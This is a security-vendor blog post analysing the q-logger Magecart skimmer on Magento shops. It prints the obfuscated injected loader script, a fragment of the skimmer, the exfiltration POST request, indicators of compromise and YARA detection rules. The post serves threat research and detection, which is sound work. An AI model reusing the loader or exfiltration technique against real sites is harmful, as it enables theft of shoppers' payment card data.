

q-logger skimmer keeps Magecart attacks going

blog.malwarebytes.com/threat-intelligence/2021/10/q-logger-skimmer-keeps-magecart-attacks-going/

Threat Intelligence Team

October 19, 2021



This blog post was authored by Jérôme Segura

Although global e-commerce is continuing to grow rapidly, it seems as though Magecart attacks via digital skimmers have not followed the same trend. This is certainly true if we only look at recent newsworthy attacks; indeed when a victim is a large business or popular brand we typically are more likely to remember it.

From a research standpoint, we have observed certain shifts in the scope of attacks. For instance, the different threat actors are continuing to expand and diversify their methods and infrastructure. In a [blog post](#) about Magecart Group 8, we documented some of the various web properties used to serve skimmers and exfiltrate stolen data.

But at the end of the day, we only know about attacks that we can see, that is until we discover more. Case in point, one particular skimmer identified as q-logger, has been active for several months. But it wasn't until we started digging further that we realized how much bigger it was.

Q-logger origins

This skimmer was originally flagged by Eric Brandel as q-logger. Depending on how much you enjoy parsing JavaScript you may have a love/hate relationship with it. The code is dense and using an obfuscator that is as generic as can be, making identification using signatures challenging.

Thanks to some data from @sansecio I've come across a new(?) digital skimmer/#magecart I call "q-logger". It has a variety of features, the most peculiar may be the secondary keylogger it uses to try and defend against inspection. 1/16 pic.twitter.com/ME80KMrNg5

— Eric Brandel (@AffableKraut) April 22, 2021

This skimmer can be found loaded directly into compromised e-commerce sites. However, in the majority of cases we found it loaded externally.

The loader

The loader is also an encoded piece of JavaScript that is somewhat obscure. It is injected inline within the DOM right before the *text/x-magento-init* tag or separated by copious amounts of white space.

```
src="https://www.██████████/pub/static/frontend/Vicomage/krystal/en_US/mage/polyfill.js"></script>
<script type="text/javascript">window.addEventListener("load",function(){(function(){try{var
k=["mJzjtD TzhO","mwTZswvnEa","yM9K","BhvK","mta4mJHgwNPWAwC","DguV","yxrP","rwXL","D2v
JvhnM","y2fY","C3jJ","INnP","A2vY","Axb0","n0LhDhrpvW","mta0n3jlDhDwva","IMPZ","Aw5J","yxbW",
kNtCuf5vq","y29T","B29J","y2HL","nZu4odG5D05rExDt","ndmXmezQu25zyG","otm4nJiXqvbKAgn3","Cgf0","Ag5H","yxrL
","ntaYmZDLs05ZBgO","BwvU","mZG1nJe0D3nvw1rM","zw5K","Bw9U","Y9S","y2TV","y3jL"];function W(n,t){var r=K[n=
t15];if(void 0===W.GXKGdP){W.vliUvt=function(n){for(var t=function(n){for(var t,r,e="";y=0,a=0;r=n.charCodeAt(a++);~r&&(t=y%
t?64*t+r.r.y++%4)?e+=String.fromCharCode(255&t>>(-2*y&6)):0)
="abcdefghijklmnopqrstuvwxyABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+!/.indexOf(r);return e}(n),r=[],e=
),y=t.length;e<y;e++)r+=(""+00"+t.charCodeAtAt(e).toString(16)).slice(-2);return
decodeURIComponent(r);W.tdnCou={},W.GXKGdP=!0}var e=n+K[0],y=W.tdnCou[e];return void 0
===y?(r=W.vliUvt(r),W.tdnCou[e]=r):r=y}var y=function(n,t,r,e,y){return W(e,-986,y)},R=function(n,t,r,e,y){return
W(e,-986,y)};function(n,t){for(var r=function(n,t,r,e,y){return W(y-351,r)},e=function(n,t,r,e,y){return W(y-351,r)};:try{if(647859
===parseInt(r(0,0,"0x314",0,770))*parseInt(e(0,0,"0x2fd",0,780))+parseInt(r(0,0,777,0,788))*-
parseInt(r(0,0,804,0,792))+parseInt(r(0,0,"0x317",0,"0x306"))+-
parseInt(e(0,0,"0x31c",0,789))*parseInt(r(0,0,"0x303",0,782))+parseInt(e(0,0,807,0,804))*-
parseInt(e(0,0,"0x336",0,805))+parseInt(r(0,0,"0x31b",0,"0x308"))+-
parseInt(e(0,0,"0x313",0,"0x307"))*parseInt(r(0,0,808,0,"0x31e"))break;n.push(n.shift())}catch(t){n.push(n.shift())}}(K);var
g=document[y(-574,-581,-549,-569,-577)+R(-545,-564,-525,-543,-548)+"on"]
y(-567,-565,-559,-560,-551)+R(-579,-570,-542,-559,-551)+"me";if(g&&g[y(-581,-568,-587,-571,-572)+R(-543,-529,-550,-546,-5
30)+"es"])(R(-584,-559,-554,-564,-584)+y(-569,-565,-538,-551,-544)+"ut")&&!
g[y(-553,-566,-552,-571,-586)+y(-553,-567,-548,-546,-537)+"es"])(R(-558,-537,-529,-538,-525)+"t")}{var
J=document[R(-534,-549,-531,-550,-566)+y(-574,-578,-560,-558,-570)+y(-530,-549,-541,-542,-534)+y(-540,-562,-552,-556,-570
)+"t"]
y(-550,-530,-548,-540,-524)+y(-538,-514,-532,-534,-545));U[R(-549,-520,-532,-537,-540)]=y(-557,-547,-572,-552,-557)+R(-582,-
553,-550,-565,-568)+y(-527,-514,-536,-535,-522)+R(-533,-550,-554,-541,-525)+R(-552,-530,-545,-536,-522)+y(-534,-537,-560,-5
44,-549)+y(-571,-580,-549,-566,-582)+y(-541,-573,-543,-553,-545)+y(-515,-510,-525,-531,-514),document[y(-553,-565,-566,-54
7,-553)+"y"])[R(-583,-580,-570,-570,-551)+y(-541,-551,-538,-554,-561)+R(-575,-586,-560,-568,-568)+"ld"])(U)}catch(e){}}
);};</script>
<script type="text/x-magento-init">
```

Loader

One way to understand what the code does is by using a debugger and setting a breakpoint at a particular spot. It is best to either use an already compromised site or bypass the check for the address bar (onestepcheckout).

```

index.php  index.php:formatted x
24
25     var e = n + K[0]  K = Array(41)
26     , y = W.tdnCou[e];  y = f (n,t,r,e,y), W = f W(n,t)
27     return void 0 === y ? (r = W.vIiUvt(r),
28     W.tdnCou[e] = r) : r = y,
29     r
30 }
31 var y = function(n, t, r, e, y) {  y = f (n,t,r,e,y)
32     return W(e - -986, y)  W = f W(n,t)
33 }
34 , R = function(n, t, r, e, y) {  R = f (n,t,r,e,y), y = f (n,t,r,e,y)
35     return W(e - -986, y)  W = f W(n,t)
36 };
37 !function(n, t) {
38     for (var r = function(n, t, r, e, y) {  y = f (n,t,r,e,y)
39         return W(y - 351, r)  W = f W(n,t)
40     }, e = function(n, t, r, e, y) {
41         return W(y - 351, r)  W = f W(n,t)
42     }; ; )
43     try {
44         if (647859 === parseInt(r(0, 0, "0x314", 0, 770)) * parseInt(e(0, 0, "0x2fd", 0,
45             break;
46         n.push(n.shift())
47     } catch (t) {
48         n.push(n.shift())
49     }
50 }(K);  K = Array(41)
51 var g = document[y(-574, -581, -549, -569, -577) + R(-545, -564, -525, -543, -548) + "on"][y(
52 if (g && g[y(-581, -568, -587, -571, -572) + R(-543, -529, -550, -546, -560) + "es"])(R(-584,
53     var U = document[R(-534, -549, -531, -550, -566) + y(-574, -578, -560, -558, -570) + y(-5
54     U[R(-549, -520, -532, -537, -540)] = y(-557, -547, -572, -552, -557) + R(-582, -553, -556
55     document[y(-553, -565, -566, -547, -553) + "y"])[DR(-583, -580, -570, -570, -551) + Dy(-
56 }
57 catch (e) {}
58
59
60

```

Line 55, Column 34 Coverage: n/a

```

onwheel: null
outerHTML: "<script src="//lockerweb.site/common.js"></script>"
outerText: ""

```

We can now see the purpose of this script: it is to load the proper skimmer.

The skimmer

As mentioned previously, the skimmer is quite opaque and makes debugging effort difficult and lengthy.

Host	URL	Body	SHA-256
goos1.store	/animate-1.6.9.min.js	27,274	4b6394465bb34bc9b1c18d14928efa23a1e0826ff868a070e...
goos1.store	/openapi-3.3.min.js	24,910	ea98cff0a61775b0d6e40574883db2088d2edb483c8f6e783...
mariaschool.xyz	/openapi.min.js	122,565	e38c1931f19e91b9ce5fc2141248233d926f0b7211cf3c7f42...
pagecleaner.site	/state.min.js	82,546	2458bf568879fb8b5e6b7c74a10dc08a66490cf6440db23ae...
pinokio.online	/slick-3.4.min.js	129,249	07c41ebe15bd12a0a5a4165b904aaf6b14fe1d3e1484742b3...
truetechnology.com	/screen-4.6.min.js	115,436	35882b6f9303c582af1ba1ed8268bc87848f45dc06586a49e...
onehitechnology.com	/tags-3.0.7.js	38,044	0c1dd87c736407a28ee66e890fac3c6d3b0c9a5e22952595e...
roki.club	/mobile-1.3.min.js	93,560	4315d43d5c6a15983c43aea10cf8687eab6f1961e76fcc2a9e...
fastjspage.com	/utils.js	552,164	8c019442acf39a958d7abd6d352f702588d759e13daa7f318...
versionhtml.com	/openapi-4.1.js	78,098	5e605a529fe01a80b0bb8a336a0d53992541a36610251ef1...
itoluico.com	/library-3.6.js	88,309	befdc631b900895fd0e439762d021d40c264510c35a1c194a...
adminet.com	/utils.js	141,000	3837cb6566eb9d786f60489faee6cd0cb660c12d6b9e0eaf0...
ollaholla.com	/common-4.1.js	23,687	252a2f4b5ffd439e63a736324bebf4f8eff7ccb960998184ae1...
indokitel.com	/current.min.js	24,889	4dc1d8a0d534f8dcc4a6619dec8584954c2ce8dce5981bcab...
gudini.com	/libs-2.0.js	170,329	002c5d839e133663da033d0fd66d323b3ad48d4832753bc9...
fullka.com	/dropdowns-1.6.min.js	88,727	8fc2dc840a9a2968c7028fac1d601b7e88f02cc962621ed19d...
welltech.monster	/mobile-2.3.min.js	61,911	3bb83811cacc9d570c2369792d9f844a226a36c64ba5cfd19...
welltech.rest	/widget.min.js	80,670	ca47988239ab71566cda9d66f1b1647ebd0b37f7e0cee2d93...
sentech.com	/widget.min.js	139,099	2479f96b65e5a80ce0b875291450827eca4a1a2987002d51...
smalltrch.com	/plugin-1.9.7.js	82,804	ab9d96c7fda0edfdd3b29d8ef8c2a13c7411a619bc77a6bc01...

```
(function(){try{var pk=n,pi=n,pw=S,pj=S,function V(){var
pD=['mgLrmKy','WPqbWQnxjW','y8kSu8oqfG','W5qSWQhcHa','Aq9jwNe','BtbVW57cla','u15H
D2i','CMrLEha','y2HHCKm','WRPjWRhdMva','iZFdPmkoWRC','CgrhvNq','zfHbz2u','jGdcNCks
moorq','WRfSWOymIW','W5/cMN3cVNC','rNvrj04','hXmfWRyu','wmk+uKPI','4ycQ4ygfWQej4yoL','Au7dMv7cNa','y0F
PW4TJ','ldr9kq','zgf0yq','WQ3dJCKeiGi','q8kJFvhdlA','zZjre0','D8kPumoTta','BMnTote','idWBWRmn','WRu5ECkDc
G','yqLFwwK','ywrKzww','W5qIW4r8','ywrKCMu','mtzLsKLUu8','WRzW6CBWQq','rducWPah','ihrHCMC','WORcP23dL
k8','WQFdKhpTWRK','WOWsWQ0/vG','AgnTuMW','rCkgymkoW5K','hCkPnGJcVG','jCkCchpcLq','qwDjq0i','f8oDWF
dR3q','WRuvB8kifq','d8oldSkzoG','qwDjsfi','WOHfW7erWQK','t2LbD2m','EwmYoxK','A2jxowS','W5ZdMSk2WOxcUq
hiNdVck6WRK','qNDLq0e','DxjPDhK','wfiWwLG','iogdKUgdKogdK+gdKa','ArtdJtDz','IjYnJi','WQhcGgxdHmkz','Auf
QuKu','y2LbDwe','AwizZc','sur4Cgi','cCkDc2rS','B25SB2e','WRHnW7eCWQG','oSkRDxxdGa','sunbz0K','rSoGWPx
SvO','WOnQW7yvWP0','WQaTngf5','WRHPWRFcMqy','W6Can8oAua','W6yUWPtcRu0','WQ85WRIdVaW','W4qkb
Ncla','D2nizZC','xtPP','Bg5Hsfe','DftUyw0','W63dJ0jiWRu','wmk/WQ0BWP0','WPmiqMSQ','ndC4nJm','W58DW4j3W
Qa','W4CQWQNc02i','B8kFWRRcVmo8','qxDkvhm','WPuUWPZdltk','ft3dUMtcTG','W701r8kzvW','yvDrz0K','fSkPwt
o1W7q','FHZdUW','WRP6d8ocZG','gSoSrmkgW7W','smkKWODkWP0','FmkwCCogra','tMHKBvy','CMfUzg8','u15HV
P4v','ue9tva','izddNckgWRm','y2HYB20','BhLJm1e','DMjUuMW','Dg9vvem','WQ/dG8oNz0m','C3r5Bgu','W4dcSflcN
LG','C3rLBMu','WPNdLmoMAfm','4yov4yoy4yoy4yoy4yoyH','mKyYwLC','smkVWOHAWO0','n2nlytm','fSkXnGJcKa','4y
cq4yg84ygv4yo94yoa','Bg9N','otbKrZK','wLDrz2u','pSkbdq7cSW','vLjCDMm','umoSCCoMWRu','mte1nJm4nwH6Aw
yvq','qwDjr10','q0iWYJm','ClbTDwK','AwryuJa','W7SYaebo','x2LKil0','WQykWQW/vq','wKDgC10','amknFCoKW7a'
WOe7WRSXnq','yKDSDvO','nctcVmk2sq','WPjFWP13iq','mJq2suC','yvDKB2q','qwDJrZK','FCoLBYhcTq','B0v2W51
N','sCkHw3/dGG','dmkoE8kTW7u','z0LeD3y','uNblBtu','W7KJW5X+WPS','Bw9KywW','WOjvaseL','AvPToxK','sunbo
K','WOWhW6DHW5C','WQehru8','W4CSW0dcOWS','zZjrgm','n8oEWRNdNLa','E8kDWR7dTsk4','nxvAweK','dux
SohhW','W6eCW49rWom','AxvT','ICksWPZcTwK','WPFdPxXwWO4','sMXKsgq','iogdKUgdKogdOEGdLq','DwiYnwV
','IHBcL8k7WPI','EhbPCMe','sfjMW4rq','sur3DMm','wmkEvCooya','qSkhEmoSqq','sum1ELK','WR4fg3XO','me9PqMC
','jCojWRJdNW','zvD4Bfa','B1PxrMS','yNv0Dg8','AmkjWQfoWRu','WRSsW4PhaW','ALLysMS','Dw50CNK','nmo1u8k
aW','WRvogCoSvG','nw5xm04','q05Qwti','y8kmWOCvWPG','elfEWQSQ','BwX5yZm','yvC5Du8','oxCxb8ku','W4ZdTn
kVVO/cIW','nwXJAue','WRqXW55GaG','C1LytnO','rmoSCSkmW5S','h8oQww','v1r7WQ8C','W7CTW5cmWRK','WF
To cut to the chase, the skimmer exfiltrates data via a POST request to the same domain
```



name where the JavaScript is loaded from.

```
POST https://filltobill5.casa/ HTTP/1.1
Host: filltobill5.casa
[obfuscated data]
```

Threat actor and victims

We were able to collect a few indicators from the threat actor behind this campaign. One was the use of netmail.tk, also observed by Luke Leal, for registering skimmer domains.

Although there are clusters of domains from the same registrant, we see that they are trying to compartmentalize their infrastructure and hide the hosting provider's true IP address. They also register domains en masse, which allows them to defeat traditional blocklists.

We don't have a good estimate of how prevalent this campaign is, but we certainly run into it regularly while monitoring e-commerce sites for malicious code. The victims are various small businesses with an online shop running Magento.

Server Type	CMS	Host	Body	Comments
Apache	Magento	[REDACTED]	232,119	Magecart (Q_logger)
nginx	Magento	[REDACTED]	117,830	Magecart (Q_logger)
nginx	Magento	[REDACTED]	109,446	Magecart (Q_logger)
Apache/2.4....	Magento	[REDACTED]	160,005	Magecart (Q_logger)
nginx	Magento	[REDACTED]	162,429	Magecart (Q_logger)
cloudflare	Magento	[REDACTED]	436,176	Magecart (Q_logger)
nginx	Magento	[REDACTED]	233,279	Magecart (Q_logger)
Sucuri/Clou...	Magento	[REDACTED]	124,011	Magecart (Q_logger)
Apache	Magento	[REDACTED]	351,050	Magecart (Q_logger)
nginx	Magento	[REDACTED]	218,928	Magecart (Q_logger)
Apache	Magento	[REDACTED]	391,248	Magecart (Q_logger)
nginx/1.10.3	Magento	[REDACTED]	363,792	Magecart (Q_logger)
Apache/2.4.6	Magento	[REDACTED]	84,885	Magecart (Q_logger)
nginx	Magento	[REDACTED]	208,281	Magecart (Q_logger)
nginx	Magento	[REDACTED]	257,718	Magecart (Q_logger)
nginx	Magento	[REDACTED]	126,864	Magecart (Q_logger)
Apache/2.4....	Magento	[REDACTED]	59,637	Magecart (Q_logger)
Apache/2.4....	Magento	[REDACTED]	42,289	Magecart (Q_logger)
nginx	Magento	[REDACTED]	439,692	Magecart (Q_logger)
cloudflare	Magento	[REDACTED]	142,667	Magecart (Q_logger)
nginx	Magento	[REDACTED]	542,634	Magecart (Q_logger)
cloudflare	Magento	[REDACTED]	141,836	Magecart (Q_logger)
Apache	Magento	[REDACTED]	34,278	Magecart (Q_logger)
Apache	Magento	[REDACTED]	482,727	Magecart (Q_logger)
nginx/1.14.0	Magento	[REDACTED]	362,079	Magecart (Q_logger)

Conclusion

The large number of e-commerce sites that are running outdated versions of their CMS is a low hanging fruit for threat actors interested in stealing credit card data. In a sense, there is always a baseline of potential victims that can be harvested.

And every now and again, some opportunities appear. They could be as simple as a zero-day in a plugin or CMS, or maybe an entry point into more valuable targets via a supply-chain attack.

Threat actors are always ready to pounce on those and may well have established their infrastructure ahead of time, waiting for such opportunities.

Malwarebytes customers are protected against this skimmer.

The screenshot shows a web browser window with a checkout page. The browser tab is labeled 'Checkout' and the address bar shows a URL ending in '/checkout/#shipping'. A progress bar at the top indicates the current step is 'Shipping' (marked with a checkmark) and the next step is 'Review & Payments' (marked with the number 2). The main heading is 'Shipping Address'. Below this, there are input fields for 'Email Address *', 'First Name *', and 'Last Name *'. A 'Company' field is partially visible at the bottom left. A Malwarebytes Teams notification window is overlaid on the right side of the page. The notification has a green checkmark and the title 'Website blocked due to exploit'. The text in the notification reads: 'Learn about exploit. If you don't want to block this website, you can exclude it from website protection by accessing Exclusions.' Below this text, the following details are listed: Domain: lockerweb.site, IP Address: 172.67.178.202, Port: 443, Type: Outbound, and File: C:\Users\[redacted]. At the bottom of the notification, there are two buttons: 'Manage Exclusions' and 'Close'.

Indicators of Compromise

Email addresses (registrant)

- wxugvvvu@netmail[.]tk
- isgskpys@netmail[.]tk
- zulhqmnr@netmail[.]tk

- yzzljjkmc@emlhub[.]com
- foyiy11183@macosnine[.]com

Skimmer domains

adminet[.]site
adminet[.]space
amasterweb[.]site
analistcloud[.]space
analistnet[.]site
analistnet[.]space
analistsite[.]site
analistsite[.]space
analisttab[.]site
analisttab[.]space
analistweb[.]site
analistweb[.]space
analitic-tab[.]site
analitic-tab[.]space
analiticnet[.]site
analitics-tab[.]site
analiticsnet[.]site
analiticstab[.]site
analiticstab[.]space
analitictab[.]site
analitictab[.]space
analiticweb[.]site
analizeport[.]site
analizerete[.]site
analylicweb[.]site
analystclick[.]site
analysttraffic[.]site
analystview[.]site
analystweb[.]site
analyticclick[.]site
analyticmanager[.]site
analyticview[.]site
aneweb[.]site
bublegum[.]xyz
cdnetworker[.]site
cleanerjs[.]site
clickanalyst[.]site
clickanalytic[.]site

cloudtester[.]site
cocolatest[.]sbs
commenter[.]site
connectweb[.]space
domainclean[.]site
domainet[.]site
domainet[.]space
fastester[.]site
fastjspage[.]site
fastupload[.]site
filltobill5[.]casa
foosq[.]one
foundanalyst[.]site
foundanalytic[.]site
fullka[.]online
goos1[.]store
gudini[.]cam
hardtester[.]site
hostcontrol[.]space
httpanel[.]site
indokitel[.]xyz
interage[.]site
ipcounter[.]space
itoltuico[.]cyou

itsector[.]date
jscleaner[.]site
lanetester[.]site
lanlocker[.]site
linkerange[.]site
linkerange[.]space
listmanager[.]space
lockerweb[.]site
magengine[.]site
managerage[.]site
managerage[.]space
managertraffic[.]site
mariaschool[.]xyz
masterlinker[.]site
masternet[.]space
masterport[.]site
mediaconservative[.]xyz
minanalyze[.]site

minimazerjs[.]site
netanalist[.]site
netanalist[.]space
netanalisttest[.]space
netanalitic[.]site
netanalitic[.]space
netanalitics[.]site
netcontrol[.]site
netpanel[.]site
netstart[.]space
nettingpanel[.]site
nettingtest[.]site
nettraffic[.]site
ollaholla[.]cyou
onehitech[.]casa
ownerpage[.]site
pagecleaner[.]site
pagegine[.]site
pageloder[.]site
pagenator[.]site
pagestater[.]site
pagesupport[.]site
panelake[.]site
panelake[.]space
panelan[.]site
panelblock[.]site
panelnetting[.]site
panelocker[.]site
pinokio[.]online
planetspeed[.]site
producteditor[.]site
retenetweb[.]site
rokki[.]club
saverplanel[.]site
sectimer[.]site
securefield[.]site
seeweb[.]space
sentech[.]cyou
showproduct[.]site
siteanalist[.]site
siteanalist[.]space

siteanalytic[.]site
siteanalytics[.]site
siteanalyst[.]site

siteanalytic[.]site
sitengine[.]site
sitesecure[.]space
sitetraffic[.]site
slickclean[.]site
slotmanager[.]site
slotshower[.]site
smallka[.]cam
smalltrch[.]cc
soorkis[.]one
spaceclean[.]site
spacecom[.]site
speedstress[.]site
speedtester[.]site
speedtester[.]space
sslmanager[.]site
starnetting[.]site
statetraffic[.]site
statsclick[.]site
storepanel[.]site
suporter[.]site
tab-analitic[.]site
tab-analitic[.]space
tab-analytics[.]site
tab-analytics[.]space
tabanalist[.]site
tabanalist[.]space
tabanalitic[.]site
tabanalitic[.]space
tabanalytics[.]site
tabanalytics[.]space
targetag[.]space
telanet[.]site
telanet[.]space
trafficanalyst[.]site
trafficanalytics[.]site
trafficcloud[.]site
trafficsanalist[.]site
trafficsee[.]site

trafficweb[.]site
truetech[.]cam
unpkgtraffic[.]site
veeneetech[.]world
versionhtml[.]site
viewanalyst[.]site
viewanalytic[.]site
webanalist[.]site
webanalist[.]space
webanalitic[.]site
webanalytics[.]site
webanalylic[.]site
webanalyst[.]site
webmode[.]site
webmoder[.]space
welltech[.]bar
welltech[.]monster
welltech[.]rest

Skimmer URLs

filltobill5[.]casa/state-3.9.min.js
welltech[.]bar/state-5.0.7.js
veeneetech[.]world/tag-2.7.js
goos1[.]store/openapi-3.3.min.js
goos1[.]store/animate-1.6.9.min.js
mariaschool[.]xyz/openapi.min.js
pagecleaner[.]site/state.min.js
foosq[.]one/mobile.js
pinokio[.]online/slick-3.4.min.js
truetech[.]cam/screen-4.6.min.js
onehitech[.]casa/tags-3.0.7.js
rokki[.]club/mobile-1.3.min.js
bublegum[.]xyz/libs.min.js
fastjspage[.]site/utis.js
fastester[.]site/waypoints.min.js
versionhtml[.]site/openapi-4.1.js
itoltuico[.]cyou/library-3.6.js

adminet[.]site/utis.js
ollaholla[.]cyou/common-4.1.js
indokitel[.]xyz/current.min.js
panelake[.]site/tag.js

gudini[.]cam/libs-2.0.js
fullka[.]online/dropdowns-1.6.min.js
welltech[.]monster/mobile-2.3.min.js
welltech[.]rest/widget.min.js
sentech[.]cyou/widget.min.js
smalltrch[.]cc/plugin-1.9.7.js
soorkis[.]one/widget-3.6.7.js
analistcloud[.]space/common.js
smallka[.]cam/plugin-1.1.3.js
lockerweb[.]site/common.js
mediaconservative[.]xyz/script.js
itsector[.]date/waypoints.min.js

YARA rules

```
rule qlogger_loader_WebSkimmer : Magecart WebSkimmer
{
  meta:
    author = "Malwarebytes"
    description = "Magecart (q-logger loader)"
    source = "https://blog.malwarebytes.com/threat-intelligence/2021/10/q-logger-skimmer-keeps-magecart-attacks-going/"
    date = "2021-10-19"

  strings:
    $regex = /"load",function\(\)\{\(function\(\)\{/
    $regex2 = /while\(!\[\]\)\{try{var/
    $regex3 = /\(w\['shift'\]\(\)\);}\}\}/

  condition:
    all of them
}
```

```
rule qlogger_skimmer_WebSkimmer : Magecart WebSkimmer
{
  meta:
    author = "Malwarebytes"
    description = "Magecart (q-logger skimmer)"
    source = "https://blog.malwarebytes.com/threat-intelligence/2021/10/q-logger-skimmer-keeps-magecart-attacks-going/"
    date = "2021-10-19"

  strings:
    $regex = /return\(!window\[\w{2}\]\(/
    $regex2 = /\w\(\)\&&console\[/

  condition:
    all of them
}
```